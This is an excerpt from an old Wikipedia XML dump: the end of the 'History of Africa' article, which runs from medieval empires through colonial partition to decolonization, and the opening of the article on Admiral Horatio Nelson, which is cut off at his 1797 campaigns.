For a time the Muslim conquests in South Europe had virtually made of the Mediterranean an Arab lake, but the expulsion in the 11th century of the [[Saracens]] from [[Sicily]] and southern [[Italy]] by the [[Normans]] was followed by descents of the conquerors on Tunisia and Tripoli.  Somewhat later a busy trade with the African coastlands, and especially with Egypt, was developed by [[Venice, Italy|Venice]], [[Pisa]], [[Genoa]] and other cities of North Italy.  By the end of the 15th century Spain had completely removed the Muslims, but even while the Moors were still in [[Granada]], [[Portugal]] was strong enough to carry the war into Africa.  In 1415 a Portuguese force captured the citadel of [[Ceuta]] on the Moorish coast.  From that time onward Portugal repeatedly interfered in the affairs of Morocco, while Spain acquired many ports in Algeria and Tunisia.

Portugal, however, suffered a crushing defeat in 1578 at [[Battle of Alcazarquivir|al Kasr al Kebir]], the Moors being led by [[Abu Marwan Abd al-Malik I Saadi|Abd el Malek I]] of the then recently established [[Saadi Dynasty]].  By that time the Spaniards had lost almost all their African possessions.  The [[Barbary states]], primarily from the example of the Moors expelled from Spain, degenerated into mere communities of [[pirate]]s, and under Turkish influence civilization and commerce declined.  The story of these states from the beginning of the 16th century to the third decade of the 19th century is largely made up of piratical exploits on the one hand and of ineffectual reprisals on the other.  In [[Algiers]], [[Tunis]] and other cities were thousands of Christian slaves.

== History of Sub-Saharan Africa until 1500 A.D.==
===Medieval empires===
There were many great empires in Sub-saharan Africa over the past few millennia.  These were mostly concentrated in West Africa where important trade routes and good agricultural land allowed extensive states to develop.  These included the [[Mali Empire]], [[Oba of Benin]], the [[Kanem-Bornu Empire]], the [[Fulani Empire]], the [[Dahomey]], [[Oyo]], [[Aro confederacy]], the [[Ashanti Confederacy|Ashanti Empire]], and the [[Songhay]].

Also common in this region were loose federations of [[city states]] such as those of the [[Yoruba]] and [[Hausa people|Hausa]].

Further south empires were less common, but there were exceptions, most notably [[Great Zimbabwe]].  One region that did see considerable state formation due to its high population and agricultural surplus was the [[Great Lakes region (Africa)|Great Lakes region]] where states such as [[Rwanda]], [[Burundi]], and [[Buganda]] became strongly centralized.

[[Ethiopia]], closely linked with North Africa and the Middle East also had centralized rule for many millennia and the [[Axumite Kingdom]] which developed there has created a powerful regional trading empire (with trade routes going as far as [[India]]).

== European exploration and conquest ==
=== Portuguese ===
With the [[Battle of Ceuta]] Africa had ceased to belong solely to the Mediterranean world.  Among those who fought there was one, Prince [[Henry the Navigator|Henry &quot;the Navigator,&quot;]] son of King [[John I of Portugal|John I]], who was fired with the ambition to acquire for Portugal the unknown parts of Africa.  Under his inspiration and direction was begun that series of voyages of exploration which resulted in the circumnavigation of Africa and the establishment of Portuguese sovereignty over large areas of the coastlands.

Portuguese ships rounded [[Cape Bojador]] in 1434, [[Cap-Vert|Cape Verde]] in 1445, and by 1480 the whole [[Guinea coast]] was known.  In 1482 [[Diogo Cão]] discovered the mouth of the [[Congo River|Congo]], the [[Cape of Good Hope]] was rounded by [[Bartolomeu Dias]] in 1488, and in 1498 [[Vasco da Gama]], after having rounded the Cape, sailed up the east coast, touched at [[Sofala]] and [[Malindi]], and went thence to [[India]].  Over all the countries discovered by their navigators Portugal claimed sovereign rights, but these were not exercised in the extreme south of the continent.

The Guinea coast, as the first discovered and the nearest to Europe, was first exploited.  Numerous forts and trading stations were established, the earliest being São Jorge da Mina ([[Elmina]]), begun in 1482.  The chief commodities dealt in were [[slavery|slaves]], [[gold]], [[ivory]] and [[spice]]s.  The discovery of [[The Americas|America]] (1492) was followed by a great development of the [[African slave trade|slave trade]], which, before the Portuguese era, had been an overland trade almost exclusively confined to Muslim Africa.  The lucrative nature of this trade and the large quantities of [[Alluvial deposit|alluvial]] gold obtained by the Portuguese drew other nations to the Guinea coast.  [[England|English]] mariners went there as early as 1553, and they were followed by Spaniards, [[Netherlands|Dutch]], [[France|French]], [[Denmark|Danish]] and other adventurers.  Much of [[Senegambia]] was made known as a result of quests during the 16th century for the &quot;hills of gold&quot; in [[Bambuk]] and the fabled wealth of [[Timbuktu]], but the middle [[Niger]] was not reached.  The supremacy along the coast passed in the 17th century from Portugal to the Netherlands and from the Dutch in the 18th and 19th centuries to France and Britain.  The whole coast from [[Senegal]] to [[Lagos]] was dotted with forts and &quot;factories&quot; of rival powers, and this international patchwork persisted into the 20th century though all the hinterland had become either French or British territory. 

Southward from the mouth of the [[Congo River|Congo]] to the inhospitable region of [[Damaraland]] (in what is present-day [[Namibia]]), the Portuguese, from 1491 onward, acquired influence over the Bantu inhabitants, and in the early part of the 16th century through their efforts Christianity was largely adopted in the [[Kongo Empire|Kongo Empire]].  An incursion of cannibalistic tribes from the interior later in the same century broke the power of this semi-Christian state, and Portuguese activity was transferred to a great extent farther south, São Paulo de Loanda (present-day [[Luanda]]) being founded in 1576.  Before [[Angola]]n independence, the sovereignty of Portugal over this coast region, except for the mouth of the Congo, had been once only challenged by a European power, and that was in 1640-1648, when the Dutch held the seaports. 

Neglecting the comparatively poor and thinly inhabited regions of [[South Africa]], the Portuguese no sooner discovered than they coveted the flourishing cities held by Arabized peoples between Sofala and [[Cape Guardafui]]. By 1520 all these Muslim [[sultan]]ates had been seized by Portugal, [[Mocambique|Moçambique]] being chosen as the chief city of her East African possessions.  Nor was Portuguese activity confined to the coastlands.  The lower and middle [[Zambezi]] valley was explored (16th and 17th centuries), and here the Portuguese found semi-assimilated Bantu tribes, who had been for many years in contact with the coast Arabs.  Strenuous efforts were made to obtain possession of the country (modern [[Zimbabwe]]) known to them as the kingdom or empire of [[Monomotapa]], where gold had been worked by the natives from about the 12th century, and whence the Arabs, whom the Portuguese dispossessed, were still obtaining supplies in the 16th century.  Several expeditions were despatched inland from 1569 onward and considerable quantities of gold were obtained.  Portugal's hold on the interior, never very effective, weakened during the 17th century, and in the middle of the 18th century ceased with the abandonment of the forts in the [[Manica]] district.

At the period of her greatest power Portugal exercised a strong influence in Ethiopia also. In the ruler of Ethiopia (to whose dominions a Portuguese traveller had penetrated before Vasco da Gama's memorable voyage) the Portuguese imagined they had found the legendary Christian king, [[Prester John]], and when the complete overthrow of the native dynasty and the Christian religion was imminent by the victories of the sultan [[Ahmad ibn Ibrihim al-Ghazi]], the exploits of a band of 400 Portuguese under [[Cristóvão da Gama]] during 1541-1543 turned the scale in favor of Ethiopia and had thus an enduring result on the future of North-East Africa.  After da Gama's time Portuguese [[Society of Jesus|Jesuits]] travelled to Ethiopia. While they failed in their efforts to convert the Ethiopians to Roman [[Catholicism]] they acquired an extensive knowledge of the country.  [[Pedro Paez]] in 1605 and, 20 years later, [[Jeronimo Lobo|Jerónimo Lobo]], both visited the sources of the [[Blue Nile]]. In 1663 the Portuguese, who had outstayed their welcome, were expelled from the Ethiopian dominions. At this time Portuguese influence on the [[Zanzibar]] coast faded before the power of the Arabs of [[Muscat, Oman|Muscat]], and by 1730 no point on the east coast north of [[Cape Delgado]] was held by Portugal. 

It has been seen that Portugal took no steps to acquire the southern part of the continent.  To the Portuguese the Cape of Good Hope was simply a landmark on the road to India, and mariners of other nations who followed in their wake used [[Table Bay]] only as a convenient spot wherein to refit on their voyage to the East.  By the beginning of the 17th century the bay was much resorted to for this purpose, chiefly by British and Dutch vessels.  

In 1620, with the object of forestalling the Dutch, two officers of the [[British East India Company|East India Company]], on their own initiative, took possession of Table Bay in the name of King [[James I of England|James]], fearing otherwise that British ships would be &quot;frustrated of watering but by license.&quot; Their action was not approved in [[London]] and the proclamation they issued remained without effect.  The Netherlands profited by the apathy of the British.  On the advice of sailors who had been shipwrecked in Table Bay the [[Dutch East India Company|Netherlands East India Company]], in 1651, sent out a fleet of three small vessels under [[Jan van Riebeeck]] which reached Table Bay on the [[April 6]], [[1652]] when, 164 years after its discovery, the first permanent white settlement was made in South Africa.  The Portuguese, whose power in Africa was already waning, were not in a position to interfere with the Dutch plans, and Britain was content to seize the island of [[Saint Helena]] as her half-way house to the East. Until the Dutch landed, the southern tip of Africa was inhabited by a sparse Khoisan speaking culture including both [[Bushmen]] (hunter-gatherers) and [[Khoi]] (herders). The Khoi have in the past been referred to by Europeans &quot;Hottentots&quot;.  Bushmen have at times been called &quot;San,&quot; but this term is generally considered offensive as it is Khoikhoi word meaning &quot;outsider.&quot;   Europeans found it a paradise for their temperate crop suites.

In its inception the settlement at the Cape was not intended to become an African colony, but was regarded as the most westerly outpost of the [[Netherlands East Indies|Dutch East Indies]].  Nevertheless, despite the paucity of ports and the absence of navigable rivers, the Dutch colonists, including Huguenots who had fled France, gradually spread northward, stamping their language, law and religion indelibly upon South Africa.  This process, however, was exceedingly slow. 

During the 18th century the [[Slavery|slave trade]] reached its highest development, the trade in gold, ivory, [[gum]] and spices being small in comparison.

[[Image:Africamap1812.jpg|right|thumb|400px|An 1812 map of Africa by Arrowsmith and Lewis]]

=== 19th Century European explorers  ===
''See also: [[Colonization of Africa]], [[Scramble for Africa]]''

Although the [[Napoleonic Wars]] distracted the attention of Europe from exploratory work in Africa, those wars nevertheless exercised great influence on the future of the continent, both in Egypt and South Africa.  The occupation of Egypt (1798-1803) first by France and then by Great Britain resulted in an effort by Turkey to regain direct control over that country, followed in 1811 by the establishment under [[Mehemet Ali (Egypt)|Mehemet Ali]] of an almost independent state, and the extension of Egyptian rule over the eastern [[Sudan]] (from 1820 onward).  In South Africa the struggle with [[Napoleon I of France|Napoleon]] caused the United Kingdom to take possession of the Dutch settlements at the Cape, and in 1814 [[Cape Colony]], which had been continuously occupied by British troops since 1806, was formally ceded to the British crown. 

Meantime considerable changes had been made in other parts of the continent, the most notable being the occupation of Algiers by France in 1830, an end being thereby put to the piratical proceedings of the Barbary states; the continued expansion southward of Egyptian authority with the consequent additions to the knowledge of the Nile. The city of [[Zanzibar, Tanzania|Zanzibar]], on the island of that name, founded in 1832 by [[Seyyid Said]] of Muscat, rapidly attained importance. Accounts of a vast inland sea, and the discovery in 1840-1848, by the missionaries [[Johann Ludwig Krapf]] and [[Johann Rebmann]], of the snow-clad mountains of [[Kilimanjaro]] and Kenya, stimulated in Europe the desire for further knowledge. 

At this period, the middle of the 19th century, [[Protestantism|Protestant]] missions were carrying on active propaganda on the Guinea coast, in South Africa and in the Zanzibar dominions.  Their work, largely beneficent, was being conducted in regions and among peoples little known, and in many instances missionaries turned explorers and became pioneers of trade and empire.  One of the first to attempt to fill up the remaining blank spaces in the map was [[David Livingstone]], who had been engaged since 1840 in missionary work north of the [[Orange River|Orange]].  In 1849 Livingstone crossed the Kalahari Desert from south to north and reached [[Lake Ngami]], and between 1851 and 1856 he traversed the continent from west to east, making known the great waterways of the upper Zambezi.  During these journeyings Livingstone discovered, November 1855, the famous [[Victoria Falls]], so named after the [[Victoria of the United Kingdom|Queen of the United Kingdom]].  In 1858-1864 the lower Zambezi, the [[Shire River|Shire]] and [[Lake Nyasa]] were explored by Livingstone, Nyasa having been first reached by the confidential slave of [[Antonio da Silva Porto]], a Portuguese trader established at [[Bihe, Angola|Bihe]] in Angola, who crossed Africa during 1853-1856 from [[Benguella, Angola|Benguella]] to the mouth of the [[Rovuma River|Rovuma]].  

Also in 1855, Hassa Kailu consolidated his rule in what is known today as Ethiopia.

[[Henry Morton Stanley]], who had in 1871 succeeded in finding and succouring Livingstone, started again for Zanzibar in 1874, and in one of the most memorable of all exploring expeditions in Africa circumnavigated [[Lake Victoria|Victoria Nyanza]] and [[Lake Tanganyika|Tanganyika]], and, striking farther inland to the [[Lualaba River|Lualaba]], followed that river down to the Atlantic Ocean&amp;mdash;reached in August 1877 -- and proved it to be the Congo.  

While the great mystery of Central Africa was being solved explorers were also active in other parts of the continent.  Southern Morocco, the Sahara and the Sudan were traversed in many directions between 1860 and 1875 by [[Gerhard Rohlfs]], [[Georg Schweinfurth]] and [[Gustav Nachtigal]].  These travellers not only added considerably to geographical knowledge, but obtained invaluable information concerning the people, languages and natural history of the countries in which they sojourned. Among the discoveries of Schweinfurth was one that confirmed the Greek legends of the existence beyond Egypt of a &quot;[[pygmy]] race&quot;.  But the first discoverer of the dwarf races of Central Africa was [[Paul du Chaillu]], who found them in the [[Ogowe River|Ogowe]] district of the west coast in 1865, five years before Schweinfurth's first meeting with them; du Chaillu having previously, as the result of journeys in the [[Gabon]] region between 1855 and 1859, made popular in Europe the knowledge of the existence of the [[gorilla]], perhaps the gigantic ape seen by [[Hanno the Navigator|Hanno the Carthaginian]], and whose existence, up to the middle of the 19th century, was thought to be as legendary as that of the Pygmies of [[Aristotle]].

=== Partition among European Powers ===
''For details, see the main article [[Scramble for Africa]]''

In the last quarter of the 19th century the map of Africa was transformed.  After the discovery of the Congo the story of exploration takes second place; the continent becomes the theatre of European expansion.  Lines of partition, drawn often through trackless wildernesses, marked out the possessions of [[Germany]], France, Britain and other powers.  [[Railroad|Railways]] penetrated the interior, vast areas were opened up to Western occupation, and from Egypt to the Zambezi the continent was startled into new life. 

The causes which led to the partition of Africa can be found in the economic and political state of western Europe at the time.  Germany, recently united under Prussian rule as the result of the [[Franco-Prussian War]] of 1870, was seeking new outlets for her energies&amp;mdash;new markets for her growing industries, and with the markets, [[Colony|colonies]].  

Germany was the last country to enter into the race to acquire colonies, and when [[Otto von Bismarck|Bismarck]] - the German Chancellor - acted, Africa was the only field left to exploit. [[South America]] was being protected from interference by the [[United States]] based on the [[Monroe Doctrine]], while Britain, France, the Netherlands, Portugal and Spain had already split up most of the other regions of the world between themselves.([[colonization]]) 

Part of the reason Germany began to expand into the colonial sphere at this time, despite Bismarck's lack of enthusiasm for the idea, was a shift in the world view of the Prussian governing elite. Indeed, European elites as a whole began to view the world as a finite place, one in which only the strong would predominate. The influence of [[Social Darwinism|social-darwinism]] was deep, encouraging a view of the world as essentially characterized by [[zero-sum]] relationships.

For different reasons the war of 1870 was also the starting-point for France in the building up of a new colonial empire.  In her endeavour to regain the position lost in that war France had to look beyond Europe.  To the two causes mentioned must be added others.  Britain and Portugal, when they found their interests threatened, bestirred themselves, while Italy also conceived it necessary to become an African power.  Britain awoke to the need for action too late to secure predominance in all the regions where formerly hers was the only European influence.  She had to contend not only with the economic forces which urged her rivals to action, but had also to combat the jealous opposition of almost every European nation to the further growth of British power.  Italy alone acted throughout in cordial co-operation with Britain. 

It was not, however, the action of any of the great powers of Europe which precipitated the struggle.  This was brought about by the ambitious projects of [[Léopold II of Belgium|Léopold II]], king of the [[Belgium|Belgians]].  The discoveries of Livingstone, Stanley and others had aroused especial interest among two classes of men in western Europe, one the manufacturing and trading class, which saw in Central Africa possibilities of commercial development, the other the philanthropic and missionary class, which beheld in the newly discovered lands millions of &quot;savages&quot; to Christianize and &quot;[[civilize]]&quot;.  The possibility of utilizing both these classes in the creation of a vast state, of which he should be the chief, formed itself in the mind of Léopold II even before Stanley had navigated the Congo.  The king's action was immediate; it proved successful; but no sooner was the nature of his project understood in Europe than it provoked the rivalry of France and Germany, and thus the international struggle was begun.

=== Conflicting ambitions of the European powers ===
In 1873, [[Zanzibar]], the busiest slave market in Africa, closed.

The part of the continent to which King Léopold directed his energies was the equatorial region.  In September 1876 he took what may be described as the first definite step in the modern partition of the continent.  He summoned to a conference at [[Brussels]] representatives of Britain, Belgium, France, Germany, [[Austria-Hungary]], Italy and [[Russia]], to deliberate on the best methods to be adopted for the exploration and Westernization of Africa, and the opening up of the interior of the continent to commerce and industry.  The conference was entirely unofficial.  The delegates who attended neither represented nor pledged their respective governments.  Their deliberations lasted three days and resulted in the foundation of &quot;The International African Association,&quot; with its headquarters at Brussels. It was further resolved to establish national committees in the various countries represented, which should collect funds and appoint delegates to the International Association.  The central idea appears to have been to put the exploration and development of Africa upon an international footing.  But it quickly became apparent that this was an unattainable ideal.  The national committees were soon working independently of the International Association, and the Association itself passed through a succession of stages until it became purely Belgian in character, and at last developed into the [[Congo Free State]], under the personal sovereignty of King Léopold.  

After the [[First Boer War]], a conflict between the [[British Empire]] and the [[Boer]] [[South African Republic]] (Transvaal Republic),  the peace treaty on [[March 23]], [[1881]] gave the Boers self-government in the Transvaal under a theoretical British oversight.  

For some time before 1884 there had been growing up a general conviction that it would be desirable for the powers who were interesting themselves in Africa to come to some agreement as to &quot;the rules of the game,&quot; and to define their respective interests so far as that was practicable.  [[Granville George Leveson-Gower|Lord Granville's]] ill-fated treaty brought this sentiment to a head, and it was agreed to hold an international conference on African affairs.  

[[Image:Afryka 1890.jpg|right|thumb|250px|Map of Africa 1890]]

===The Berlin Conference of 1884-85===
''Main article: [[Berlin Conference]]''

From 1885 the scramble among the powers went on with renewed vigour, and in the fifteen years that remained of the century the work of partition, so far as international agreements were concerned, was practically completed.  

:Relationship to &quot;[[Victorian Era]]&quot; in the UK.

Soldiers of King [[Menelik II]] fended off the [[Italy|Italians]], keeping [[Ethiopia]] independent from European colonialization

No African countires were consulted during the partition for Africa.  An &quot;International treaty&quot; was signed that disregarded the ethnic, social and economic composition of the people that lived in that area. This was to resurface years later, as ethnic or &quot;tribal&quot; conflict after the African countries gained their independence. 

The countries were taken by force and thus began a long struggle to fight against European subjugation.

==20th Century: 1900-1945==
===Africa at the start of the 20th century===
[[Image:Africa1910sSmall.jpg|frame|right|Map of Africa just before World War I ([[Media:Africa1910s.jpg|larger image (456 kB)]])]] 

All of the continent was claimed by European powers, except for [[Ethiopia]] (&quot;Abyssinia&quot;) and [[Liberia]].

The European powers set up a variety of different administrations in Africa at this time, with different ambitions and degrees of power. In some areas, parts of British West Africa for example, colonial control was tenuous and intended for simple economic extraction, strategic power, or as part of a long term development plan.

In other areas Europeans were encouraged to settle, creating settler states in which a European minority came to dominate society. Settlers only came to a few colonies in sufficient numbers to have a strong impact. British settler colonies included [[British East Africa]], now Kenya, North and South [[Rhodesia]], later Zambia and Zimbabwe, and [[South Africa]], which already had a significant population of European settlers, the [[Boer]]s.
In the [[Second Boer War]], between the British Empire and the two Boer republics of the [[Orange Free State]] and the ''South African Republic'' ([[Transvaal Republic]]), the Boers unsuccsefully resisted absorption in to the British Empire. 

France planned to settle Algeria and eventually incorporate it into the French state as an equal to the European provinces. Its proximity across the Meditterranean allowed plans of this scale.

In most areas colonial administrations did not have the manpower or resources to fully administer the territory and had to rely on local power structures to help them. Various factions and groups within the societies exploited this European requirement for their own purposes, attempting to gain a position of power within their own communities by cooperating with Europeans. One aspect of this struggle included what [[Terence Ranger]] has termed the &quot;invention of [[tradition]].&quot; In order to legitimize their own claims to power in the eyes of both the colonial administrators, and their own people, people would essentially manufacture &quot;traditional&quot; claims to power, or ceremonies. As a result many societies were thrown into disarray by the new order.

During [[World War I]], there were several battles between the United Kingdom and Germany, the most notable being the [[Battle of Tanga]], and a sustained [[guerrilla warfare|guerrilla]] campaign by the German General [[Paul von Lettow-Vorbeck]].

=== Interbellum ===
After World War I, the formerly German colonies in Africa were taken over by France and the United Kingdom.

During this era a sense of local patriotism or [[nationalism]] took deeper root among African intellectuals and politicians. Some of the inspiration for this movement came from the First World War in which European countries had relied on colonial troops for their own defence. Many in Africa realized their own strength with regard to the colonizer for the first time. At the same time, some of the mystique of the &quot;invincible&quot; European was shattered by the barbarities of the war. However, in most areas European control remained relatively strong during this period.

In 1935 [[Benito Mussolini]] had [[Italy|Italian]] troops invade [[Ethiopia]], the last African nation not dominated by a foreign power

=== World War II ===
1940s.  Pre-WW2 and [[World War II]] in Africa.
:North African campaign. ''[[Deutsches Afrika Korps]]'' under [[Erwin Rommel]]. Definitive defeat of the Germans in the [[Second Battle of El Alamein]].
:Importance of Egypt to the UK.
:US invasion of Algeria.

==Postcolonial era:1945-present==  

===Decolonization===
''Main articles: [[Decolonization]], [[Decolonization of Africa]]''

The [[Decolonization]] in Africa started with [[Libya]] in 1951. Many countries followed in the 50s and 60s, with a peak in 1960 with independence of a large part of [[French West Africa]]. Most of the remaining countries gained independence throughout the 1960s, although some colonizers ([[Portugal]] in particular) were reluctant to relinquish sovereignty, resulting in bitter wars of independence which lasted for a decade or more. The last African countries to gain formal independence were [[Guinea-Bissau]] from Portugal in 1974, [[Mozambique]] from Portugal in 1975, [[Angola]] from Portugal in 1975, [[Djibouti]] from [[France]] in 1977, [[Zimbabwe]] from [[Britain]] in 1980, and [[Namibia]] from [[South Africa]] in 1990. 

Because many cities were founded, enlarged and renamed by the Europeans, after [[independence]] many place names (for example [[Stanleyville]], [[Léopoldville]], [[Rhodesia]]) were renamed: see [[historical African place names]] for these.

===Postcolonial Relationship with Europe===
:paternalism
:development help
:weapon deliveries

===The Cold War in Africa===
:[[Angola]]
:[[Congo-Brazzaville]]
:[[United States|U.S.]] policy of supporting certain regimes (for instance [[Mobutu]])
:Soviet interests in Africa

===Pan-Africanism===
''Main article: [[Pan-Africanism]]''

===Central Africa===
''See also: [[Central Africa]]''

===East Africa===
''See also: [[East Africa]]''

The [[Mau Mau]] Rebellion took place in [[Kenya]] from 1952 until 1956, but was put down by British and local forces. A State of Emergency remained in place until 1960. Kenya became independent in 1963. [[Jomo Kenyatta]] became the first president of independent Kenya.

The early 1990s also signaled the start of major clashes between the [[Hutu]]s and the [[Tutsi]]s in [[Rwanda]] and [[Burundi]]. In 1994 this resulted in the [[Rwandan Genocide]], a conflict in which over a million died.

=== North Africa ===
''See also: [[North Africa]]''

In  1954 a government came to power in Egypt that was opposed to the [[United States]]. The same occurred in [[Libya]] in 1969. Egypt was under [[Gamal Abdel Nasser]], and Libya under [[Moammar al-Qadhafi]]. As of 2004, al-Qadhafi is still in power.

Egypt was involved several wars against [[Israel]], and was allied with other [[Arab]] countries. The first was right after the Israel was founded, in 1947. Egypt went to war again in 1967 and lost the [[Sinai Peninsula]] to Israel. They went to war yet again in 1973. In 1979, [[Anwar Sadat]] and [[Menachem Begin]] signed the [[Camp David Accords]], which gave back the Sinai Peninsula to Egypt in exchange for the recognition of Israel. The accords are still in effect today. In 1981, Anwar Sadat was [[assassin]]ated by an [[Islamism|Islamist]] for signing the accords.

===Southern Africa===
''See also: [[Southern Africa]]''

&lt;!-- Relationships between South Africa, Rhodesia and Botswana --&gt;

In 1948, the [[History of South Africa in the Apartheid Era|apartheid]] laws were started in [[South Africa]] by the dominant party.
:Conflict between Afrikaans-speakers and English-speakers.
:Establishment of &quot;homelands&quot;. 
:South African military efforts in Angola.
:International trade sanctions.
:Conflict between ANC and Zulu factions.
:End of Apartheid and establishment of new constitution.

In 1994, the [[Apartheid]] had ended in South Africa, and [[Nelson Mandela]] of the [[African National Congress]] was elected president of South Africa in the country's first multiracial elections.

===West Africa===
''See also: [[History of West Africa]]''

Following [[World War II]], nationalist movements arose across West Africa, most notably in Ghana under [[Kwame Nkrumah]].  In 1957, Ghana became the first sub-Saharan colony to achieve its independence, followed the next year by France's colonies; by 1974, West Africa's nations were entirely autonomous.  Since independence, many West African nations have been plagued by [[political corruption|corruption]] and instability, with notable civil wars in Nigeria, Sierra Leone, Liberia, and Côte d'Ivoire, and a succession of military coups in Ghana and Burkina Faso. Many states have failed to develop their economies despite enviable natural resources, and political instability is often accompanied by undemocratic government.  [[AIDS]] is also a growing problem for the region, particularly in Côte d'Ivoire, Liberia, and Nigeria.  [[Famine]] has been a problem in parts of northern Mali and Niger, the latter of which is currently undergoing [[2005 Niger food crisis|a food crisis]].

{{Africa in topic|History of}}

==See also==
*[[Economic history of Africa]]
*[[History of the Middle East]]
*[[African archaeology]]

&lt;!--Templates--&gt;
{{Africafooter}}
{{History by continent footer}}

&lt;!--Categories--&gt;
&lt;!--Interlangauge links--&gt;

[[Category:Africa|History]]
[[Category:Ancient Egypt]]
[[Category:History by continent|Africa]]
[[Category:History of Africa]]

[[ar:تاريخ أفريقيا]]
[[de:Geschichte Afrikas]]
[[es:Historia de África]]
[[fr:Histoire de l'Afrique]]
[[ja:アフリカ史]]
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[[pl:Historia Afryki]]
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  </page>
  <page>
    <title>Horatio Nelson, 1st Viscount Nelson</title>
    <id>14101</id>
    <revision>
      <id>41622515</id>
      <timestamp>2006-02-28T16:13:38Z</timestamp>
      <contributor>
        <username>Dabbler</username>
        <id>139032</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">:''Nelson redirects here.  For other meanings see [[Nelson (disambiguation)]].''
[[image:Horatio Nelson.jpg|thumbnail|right|250px|Lord Nelson]]

[[Vice Admiral]] [[The Right Honourable]] '''Horatio Nelson, 1st Viscount Nelson''', [[Knight of the Bath|KB]]&lt;!--NB: not KCB--&gt; ([[29 September]] [[1758]] &amp;ndash; [[21 October]] [[1805]]) - [[Kingdom of Great Britain|British]] [[admiral]] from England who won fame as a leading naval commander. He is famous for his participation in the [[Napoleonic Wars]], most notably in the [[Battle of Trafalgar]], where he lost his life. He became the greatest naval hero in the history of the United Kingdom, eclipsing Admiral [[Robert Blake (admiral)|Robert Blake]] in fame, and is one of the most famous naval commanders in world history. His biography by the poet [[Robert Southey]] appeared in 1813, while the wars were still being fought. His love affair with [[Emma Hamilton]], the wife of the British [[Ambassador (diplomacy)|ambassador]] to [[Naples]] is also well known, and he is honoured by the [[London]] landmark of [[Nelson's Column]], which stands in [[Trafalgar Square]].

==Biography==
===Early life===
Horatio Nelson was born in [[Burnham Thorpe]], [[Norfolk, England|Norfolk]], [[England]] to the [[Reverend Edmund Nelson]] and [[Catherine Suckling|Catherine Nelson]]. (His mother was a grandniece of [[Robert Walpole, 1st Earl of Orford]].) His mother died when Nelson was nine. Nelson was the sixth child out of eleven. He learned to sail on Barton Broad on the [[Norfolk Broads]], was briefly educated at [[Paston Grammar School]], [[North Walsham]] and [[Norwich School]] and by the time he was twelve, he had enrolled in the [[Royal Navy]]. His naval career began on [[1 January]] [[1771]], when he reported to the [[third-rate]] [[HMS Raisonnable (1768)|''Raisonnable'']] as an [[Ordinary Seaman]] and [[coxswain]]. Nelson’s maternal uncle Captain [[Maurice Suckling]] commanded the vessel. Shortly after reporting aboard, Nelson was appointed a [[midshipman]] and began officer training. Ironically, Nelson found that he suffered from chronic [[seasickness]], a complaint that dogged him for the rest of his life.

By [[1777]] he had risen to the rank of [[lieutenant]], and was assigned to the [[West Indies]], during which time he saw action on the British side of the [[American Revolutionary War]]. By the time he was 20, in June [[1779]], he was made post; the 28-gun frigate [[HMS Hinchinbrook (1779)|''Hinchinbrook'']], newly captured from the French, was his first command as a [[post-captain]].

In [[1781]] he was involved in an action against the Spanish fortress of San Juan in [[Nicaragua]]. Though a success, the efforts involved still damaged Nelson's health to the extent that he returned to England for more than a year. He eventually returned to active duty and was assigned to [[HMS Albemarle (1779)|''Albemarle'']], in which he continued his efforts against the American rebels until the official end of the war in [[1783]].

===Command===
In [[1784]], Nelson was given command of the 28-gun frigate ''Boreas'', and assigned to enforce the [[1651 Navigation Act|Navigation Act]] in the vicinity of [[Antigua]]. This was during the denouement of the American Revolutionary War, and enforcement of the act was problematic&amp;mdash;now-foreign American vessels were no longer allowed to trade with British colonies in the [[Caribbean Sea]], an unpopular rule with both the colonies and the Americans. After seizing four American vessels off [[Nevis]], Nelson was sued by the captains of the ships for illegal seizure. As the merchants of Nevis supported them, Nelson was in peril of imprisonment and had to remain sequestered on ''Boreas'' for eight months. It took that long for the courts to deny the captains their claims, but in the interim Nelson met Fanny Nesbit, a widow native to Nevis, whom he would marry on [[11 March]] [[1787]] at the end of his tour of duty in the Caribbean.

Nelson lacked a command from [[1789]], and lived on half pay for several years (a reasonably common occurrence in the peacetime Royal Navy). However, as the [[French Revolution]]ary government began aggressive moves beyond [[France]]'s borders, he was recalled to service. Given the 64-gun [[HMS Agamemnon (1781)|''Agamemnon'']] in [[1793]], he soon started a long series of battles and engagements that would seal his place in history.

He was first assigned to the Mediterranean, based out of the [[Kingdom of Naples]]. In [[1794]] he was wounded in the face by stones and debris thrown up by a close cannon shot during a joint operation at [[Calvi]], [[Corsica]]. This cost him the sight in his right eye and half of his right eyebrow. Despite popular legend, there is no evidence that Nelson ever wore an eye patch, though he was known to wear an eyeshade to protect his remaining eye.

In [[1796]], the commander-in-chief of the fleet in the Mediterranean passed to Sir [[John Jervis, 1st Earl of St Vincent|John Jervis]], who appointed Nelson to be [[Commodore (rank)|commodore]] and to exercise independent command over the ships blockading the French coast. ''Agamemnon'', often described as Nelson's favourite ship, was by now worn out and was sent back to England for repairs. Nelson was appointed to [[HMS Captain (1787)|HMS ''Captain'']] 74.

===Admiralty===
[[Image:Horatio Nelson, 1st Viscount Nelson - Project Gutenberg eText 15233.png|thumbnail|250px|Admiral Nelson]]

[[1797]] was a full year for Nelson. On [[February 14]], he was largely responsible for the British victory at the [[Battle of Cape St. Vincent (1797)|Battle of Cape St Vincent]]. In the aftermath, Nelson was [[knight]]ed as a member of the [[Order of the Bath]] (hence the postnominal initials &quot;KB&quot;&lt;!--NB: not KCB--&gt;). In April of the same year he was promoted to [[Admiral (United Kingdom)|Rear Admiral of the Blue]], the ninth highest rank in the Royal Navy. Later in the year, during an unsuccessful expedition to conquer [[Santa Cruz de Tenerife]], he was shot in the right arm with a musket ball, fracturing his [[humerus]] bone in multiple places. Since medical science of the day counseled amputation for almost all serious limb wounds (to prevent gangrene, and subsequent death) Nelson lost almost his entire right arm, and was unfit for duty until mid-December. He referred to the stub as &quot;my fin.&quot;

This was not his only reverse. In December 1796, on leaving [[Elba]] for [[Gibraltar]], Nelson transferred his flag to the [[frigate]] ''Minerve'' (of French construction, commanded by Captain Cockburn). A Spanish frigate, ''Santa Sabina'', was captured during the passage and Lieutenant Hardy was put in charge of the captured vessel. The following morning, two Spanish ships of the line and one frigate appeared. Nelson decided to flee, leaving ''Santa Sabina'' to be recovered by the Spanish and Hardy was captured. The Spanish captain who was on board ''Minerve'' was later exchanged for Hardy in Gibraltar.

